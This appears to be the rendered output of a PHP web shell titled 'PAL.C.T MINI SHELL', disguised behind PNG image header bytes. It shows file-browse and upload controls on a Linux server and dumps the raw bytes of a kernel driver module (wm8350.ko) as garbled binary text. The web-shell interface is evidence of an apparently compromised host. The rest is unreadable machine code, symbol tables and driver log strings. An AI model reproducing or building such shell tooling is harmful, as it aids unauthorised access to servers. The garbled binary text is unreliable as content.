php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /lib/modules/2.6.32-431.11.2.el6.i686/kernel/drivers/mfd/
upload
files >> //lib/modules/2.6.32-431.11.2.el6.i686/kernel/drivers/mfd/wm8350.ko

ELF4(GNU	`QO.V1SËt&hu싃pHD84C[^vUWVS(T$#L$$p\$#ډ׃T$B94[fL$<T[ݍ\$t$D$tYD$pftHsX<w7D$pl$t$D$$0([^_]ftvf#9\-f9D$kt$XD$42tf#3	f3f9l$~G:fUD$p\$t$D$$ovD$p\$<L$$T$#$։ƒ([^_]ËX|$\$D$$t&$t$ֺ\$É|$ωl$ t2Pڃu8\$t$|$l$ $ËXt$\$D$$`ȋXl$t$\$D$$듍v'?$øt$։|$w{(D<1$t$|$Ív'ɉ\$Ét$|$u\$t$|$Í?wrTuՍ{($$LD$D1뮍t&\$øt$fD$D$$u\$t$ËX\$D$$ȍ\$øt$fD$D$$u\$t$ËX\$D$$3ȍ\$øt$։|$ЋD$ $u\$t$|$ËXt$\$D$$ \$øt$։|$fL$ЍD$$u\$t$|$ ËXt$\$D$$UWVS4D$0T$/T$0z|$/49t$%@D$(^;|$L$$}8f_ua_t$[
fu=9L$(D$0T$/L$$PE14[^_]Ít$t$(ukD$0L$$T$/4$Pt$ff#f94[^_] o=bt$0X\$D$$J; h=G[T$0PT$ T$ D$T$$,, =/T$0XL$ L$ |$L$|$D$\$D$$5L$ @t$(1p\$t$D$$q
\$øt$։|$ЋD$ $lu\$t$|$ËXt$\$D$$P\$øt$ЍD$$uD$\$t$ËXt$\$D$$UWVSÃBkȉD$$ 	‰ʺ tzuxt$1|$D$$h&T$$t&[^_]ÐD$$
	ljD&tƁ؁[^_]Ípkȉ,t$ Ƹ\$|$$l$(fT$|$\$$uDf	l$$duYT$T$\$t$ |$$Ћl$(,ËXT$L$\$L$D$$T$맋XT$L$\$L$D$$T$sS>v7XT$T$\$T$D$$[Ív$@['[' ['[&['['['[' ['@['['[%[$[$[$[$[$ [$[$[$[$[$["["["["[" ["@["["["["[" ["[![![! [!@[![![![![![! [!@[![![&[&[&[&[&@[& [&[&[&[&[&[&['['['&' l$h(\$É|$׉t$Gtt$L։\$t$|$l$ p|$t$D$$빍vUWVSӃ fD$
fD$!Ɖʼnպ"!Ɖ!fD$'ljD$!f#D$
 D$D$Pf@1 =IUamy @f|$|$ @
 ".f@( 4@LXdp|f@ GD$@u[^_]Ív&Ɖ!1vtsV2獴&$lj!_ kG%ljf#f&&l T<$
{o c	@Wغ|Kf:
TJ<>$2&غ@ ~fN+< ,$-./01'x(|l)d`*LfT1%4 Qv1҉Zf$&&!&"l&&&t`&\<&D& ,&,t$ Ƹ\$|$$l$(fL$\$$uKD$$f!D$uWT$T$\$t$ |$$Ћl$(,ËXT$l$\$D$$T$멋XT$l$\$D$$T$w&'UWVSÃ8D$6T$(1҉L$$$SD$ D$4$SD$ D$2$SD$ l$6D$4t$2ffffCafl$6fD$4ft$2tCpl$t$D$$pD$ CD$ 8[^_]fpfT$ D$,HL$׋L$T$ՉT$T$,t$L$D$T$$f$D$2fsdfǃPǃT|.ff$pt$D$$ǃxfft+pt$D$$D$ fǃPǃTHpt$D$$ǃD$2f;f|$ t f|$ tf|$ DLC$1ҹSD$ 11t&x؃Lv-,k}f!f}=
fuˋK<Ff<AڍfǃPǃT
t`fApt$D$$$D$ tpt$D$$HD$ Ipt$D$$ǃfpt$D$$D$ t& !"$&'CC(L$(jl$$tD$$xH $D$(1ҹ0\$D$,D$ D$(4t$$tD$$t҅1ɺ 8غPDغ]vHغidpغvRغ@غ.D$ 8[^_]ftlpT$,t$T$D$$lD$ X\$D$$ f|$ of|$ ^f|$ DFf|$ 5f|$ $f|$ Dpt$D$$ǃD$ pt$D$$ǃcpt$D$$h@pt$D$$pT$ t$T$D$$$pT$ t$T$D$$H[pt$D$$D$ 0pt$D$$pT$ t$T$D$$pt$D$$3xt$|$D$$(t$ fS>v7XT$T$\$T$D$$P[Ív$@['[' ['[&['['['[' ['@['['[%[$[$[$[$[$ [$[$[$[$[$["["["["[" ["@["["["["[" ["[![![! [!@[![![![![![! [!@[![![&[&[&[&[&@[& [&[&[&[&[&[&['['['Suѻ㺁[t&ѻ㺁['Suѻ㺂[t&ѻ㺂['$ËD$t$։|$ωl$l$ 0[tRt5຃ȉtY$t$|$l$Ð΍v1ɉu¹u덍&|$ງȉu|$$຀ȉU	ຆȉlj$  1ɉ1*D$ȉG1ɉ+~D$$ȉ&T$f%	кȉ1RAT$	кȉ뛺T$$fѺT$븺T$	кȉ9T$
T$$fT$T$f%	кȉT$ϺT$$f볺T$뚺T$f%
yy+y;yFyQy\ygyry\3lFKll(-a~x}ll["|1||l).JZ|}l|l/4J^|lp)@|e
l"-:
Slfkv
lpl*;|[`|l|l			H	|T	be		b		g	b	l		0
M
ba
bu
|

|
b


|3<dl|ll|l'AbRbcbqbbbbbbb@bNbbb|.lAF]lpu>lQVffl2lAFdlsxl	o!kLlll.3Vlej:MY^x * lA F X lg l   _   s n a  m
!l!!D!lS!X!q!l!!!l!!!l!!!l!!
"l"!"8"lG"L"["lr"w""l"""l"""l""#f*=Pcv
!
4
G
Z
m







+>Qdw"5H[n,?Rex'#:#M#`#s########$$1$D$W$j$}$$$$$$$%%(%;%N%a%t%%%%%%%%&&2&E&X&k&~&&&&&&&'')'<'O'b'u''''(()6)E)jf)o)~)j))**b8*?*M*j*}*b**b*b*b*+b)+bH+bd+b++b+b+b+b''(3(r_L9&{hUB/	






q
^
K
8
%

zgT.|iVC0
A&o&\&I&6&#&&%%%%%%%x%e%R%?%,%%%$$$$$$$n$[$H$5$"$$#######w#d##>#+##''y'f'S'@'-'''&&&&&Q#&wm8350_readwm8350_phys_read  ?@;p&@@@@@
  pppp-%@  ?@;p&@@@@@
  1pppp-%b&b&@  ?@;p&@@@@@
  1#pppp-%.&
@  ?@;p&@@@@@
  {
01"pppp-%&&@Ca  ?@:p&@@@@@
  pppp-%@Ca  ?@:p&@@@@@
  pppp-%&b

@Ca  ?@:p&@@@@@
  	
 pppp-%V&&@Ca  ?@:p&@@@@@
  #pppp-%&b&@Ca  ?@:p&@@@@@
  pppp-%@PQCa  ?@:p&@@@@@
  #pppp-%b&@PQCa  ?@:p&@@@@@
  	
3 pppp-%V&@PQCa  ?@:p&@@@@@
  #pppp-%P)@PQ|;;77<m<m???????????;5????????333030@@pp<<		@@0|0|77ppppO??33??33??-3-3--wQwQss[S[Sssss[S[SssDD33DD33DD33DD33????//	?4**u*++++\+@+!++** $(,048<@DHLPTX\`dhlptx| $(,048<@DHLPTX\`dhlptx|  $ ( , 0 4 8 < @ D H L P <3>%s %s: invalid reg %x
<3>%s %s: unlock failed
<3>%s %s: lock failed
<7>%s %s: wm8350: cache read
<6>%s %s: WM8350 Rev E
<6>%s %s: WM8350 Rev F
<6>%s %s: WM8350 Rev G
<6>%s %s: WM8350 Rev H
<6>%s %s: WM8351 Rev A
<6>%s %s: WM8351 Rev B
<6>%s %s: WM8352 Rev A
<3>%s %s: Unknown MASK_REV
wm8350<3>%s %s: No IRQ configured
wm8350-codecwm8350-gpiowm8350-hwmonwm8350-powerwm8350-rtcwm8350-wdt&wm8350->auxadc_mutex&wm8350->irq_mutexdrivers/mfd/wm8350-core.ccache read
%s R%d(0x%2.2x) %d regs
volatile read
<3>%s %s: attempted write to read only reg R%d
<3>%s %s: attempted write to locked reg R%d
<3>%s %s: Failed to allocate %s
<3>%s %s: Failed to register %s: %d
<3>%s %s: block write starting at R%d failed
<3>%s %s: write to reg R%d failed
<7>%s %s: wm8350: %s R%d(0x%2.2x) %d regs
<7>%s %s: wm8350: volatile read
<3>%s %s: block read starting from R%d failed
<3>%s %s: read from reg R%d failed
<3>%s %s: adc chn %d read timeout
<4>%s %s: Attempting to mask unknown IRQ %d
<3>%s %s: irq %d nobody cared. now masked.
<3>%s %s: Failed to read ID: %d
<3>%s %s: Failed to read revision: %d
<3>%s %s: Device with ID %x is not a WM8350
<6>%s %s: CONF_STS %d, CUST_ID %d, MASK_REV %d, CHIP_REV %d
<3>%s %s: Unsupported CUST_ID
<3>%s %s: Unknown WM8350 CHIP_REV
<3>%s %s: Unknown WM8351 CHIP_REV
<3>%s %s: Unknown WM8352 CHIP_REV
<3>%s %s: WM835x configuration mode %d not supported
<3>%s %s: failed to read initial cache values
<3>%s %s: Failed to create register cache
<3>%s %s: Failed to request IRQ: %d
<3>%s %s: Platform init() failed: %d
<4>%s %s: Attempting to unmask unknown IRQ %d
license=GPLdescription=WM8350 AudioPlus PMIC core driversrcversion=B15EBCD32B98C1245C3AD39depends=vermagic=2.6.32-431.11.2.el6.i686 SMP mod_unload modversions 686 &9K[k		]			 $	(h,	0`4	8j<	@D	HL	PT	X\	`bd	hl	pt	xt|	i{qzvd $r(c,0w48<uwm8350_device_exitwm8350_device_initwm8350_read_auxadcwm8350_unmask_irqwm8350_mask_irqwm8350_free_irqwm8350_register_irqwm8350_reg_unlockwm8350_reg_lockwm8350_block_writewm8350_block_readwm8350_reg_writewm8350_reg_readwm8350_set_bitswm8350_clear_bitswm8350_gpio_confignAmodule_layout+dev_set_drvdatamalloc_sizes=+dynamic_debug_enabled2(mutex_unlock[|J__mutex_init՗#printkfœplatform_device_allocvplatform_device_addmutex_lockBiplatform_device_unregistermrequest_threaded_irq􀴜dynamic_debug_enabledqdev_driver_stringEkmem_cache_alloc_trace\	schedule_timeout_interruptiblezkfreeκ`.memcpyث
free_irqt*platform_device_put,
},
l,
K $048<wm8350Hdmodule.sigFS1
	nCWB ^APu|q6.UI	dtrP֞	
@7@QL]0n}0Y .	
+H	e
	&
	9
.J 	dK
~(	[
0	k
"@8	\
x@	
 H	
$9P	U
q(X	
,`	
0,h	F
`4zp	
8'7(7x	<	
Y<v`#	B>L "Pl6 Lt\uGvatfvFt
 2 H ^tj+ϛ, @(=޼		-	H	=y^`	ܟy					c			 


 
 	3
gI
n_
 u
 

"
ǟ
 z
 
zsШ+ =JN` v 
@t@wm8350-core.cwm8350_writewm8350_client_dev_registerio_mutexwm8350_readdescriptor.26254descriptor.26182descriptor.26247__func__.26248wm8350_irq_call_handlerwm8350_irq__key.27343__key.27344__mod_license1501__mod_description1500__ksymtab_wm8350_device_exit__kstrtab_wm8350_device_exit__kcrctab_wm8350_device_exit__ksymtab_wm8350_device_init__kstrtab_wm8350_device_init__kcrctab_wm8350_device_init__ksymtab_wm8350_read_auxadc__kstrtab_wm8350_read_auxadc__kcrctab_wm8350_read_auxadc__ksymtab_wm8350_unmask_irq__kstrtab_wm8350_unmask_irq__kcrctab_wm8350_unmask_irq__ksymtab_wm8350_mask_irq__kstrtab_wm8350_mask_irq__kcrctab_wm8350_mask_irq__ksymtab_wm8350_free_irq__kstrtab_wm8350_free_irq__kcrctab_wm8350_free_irq__ksymtab_wm8350_register_irq__kstrtab_wm8350_register_irq__kcrctab_wm8350_register_irq__ksymtab_wm8350_reg_unlock__kstrtab_wm8350_reg_unlock__kcrctab_wm8350_reg_unlock__ksymtab_wm8350_reg_lock__kstrtab_wm8350_reg_lock__kcrctab_wm8350_reg_lock__ksymtab_wm8350_block_write__kstrtab_wm8350_block_write__kcrctab_wm8350_block_write__ksymtab_wm8350_block_read__kstrtab_wm8350_block_read__kcrctab_wm8350_block_read__ksymtab_wm8350_reg_write__kstrtab_wm8350_reg_write__kcrctab_wm8350_reg_write__ksymtab_wm8350_reg_read__kstrtab_wm8350_reg_read__kcrctab_wm8350_reg_read__ksymtab_wm8350_set_bits__kstrtab_wm8350_set_bits__kcrctab_wm8350_set_bits__ksymtab_wm8350_clear_bits__kstrtab_wm8350_clear_bits__kcrctab_wm8350_clear_bits__func__.26183wm8350-regmap.cwm8350-gpio.cgpio_set_pull_upgpio_set_pull_down__ksymtab_wm8350_gpio_config__kstrtab_wm8350_gpio_config__kcrctab_wm8350_gpio_configwm8350.mod.c_rheldata__mod_srcversion44__module_depends____versions__mod_vermagic5platform_device_putfree_irqwm8350_device_init__this_modulewm8352_mode2_defaultswm8350_register_irqwm8351_mode3_defaultswm8350_reg_read__crc_wm8350_block_read__crc_wm8350_reg_unlockmemcpykfreeschedule_timeout_interruptiblewm8350_free_irq__crc_wm8350_device_exitwm8350_reg_unlockkmem_cache_alloc_tracedev_driver_stringwm8351_mode1_defaultswm8351_mode2_defaultswm8350_mode1_defaultsdynamic_debug_enabled__crc_wm8350_read_auxadc__crc_wm8350_block_writewm8352_mode1_defaultswm8350_gpio_config__crc_wm8350_gpio_config__crc_wm8350_register_irq__crc_wm8350_reg_readrequest_threaded_irqplatform_device_unregister__crc_wm8350_unmask_irq__crc_wm8350_device_initmutex_lockplatform_device_addplatform_device_allocwm8350_clear_bits__crc_wm8350_free_irqprintk__mutex_initwm8350_mode2_defaultswm8350_set_bitswm8350_mask_irqwm8350_read_auxadc__crc_wm8350_set_bits__crc_wm8350_mask_irqwm8350_mode3_defaultswm8350_mode0_defaultsmutex_unlockwm8350_unmask_irq__crc_wm8350_reg_writewm8350_block_readwm8352_mode3_defaultsdynamic_debug_enabled2wm8350_block_write__crc_wm8350_clear_bitswm8350_reg_io_mapmalloc_sizes__crc_wm8350_reg_lockwm8352_mode0_defaultsdev_set_drvdatawm8350_device_exitwm8351_mode0_defaultswm8350_reg_lockwm8350_reg_writewm8350.ko.debugGO.rodata.str1.1.rodata.str1.4.rel.data.rheldata.rel.rodata.symtab.strtab.shstrtab.note.gnu.build-id.gnu.linkonce.this_module.rel__verbose.note.module.sig.gnu_debuglink.rel__kcrctab_gpl.rel__ksymtab_gpl.modinfo__ksymtab_strings__versions.bss.rel.textY4$`+	X,
7:T  3	TZX2^2`@e $f	f	g@	gdh)ii #n	nnH	o`loL pp`?,q	[GzOІ

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`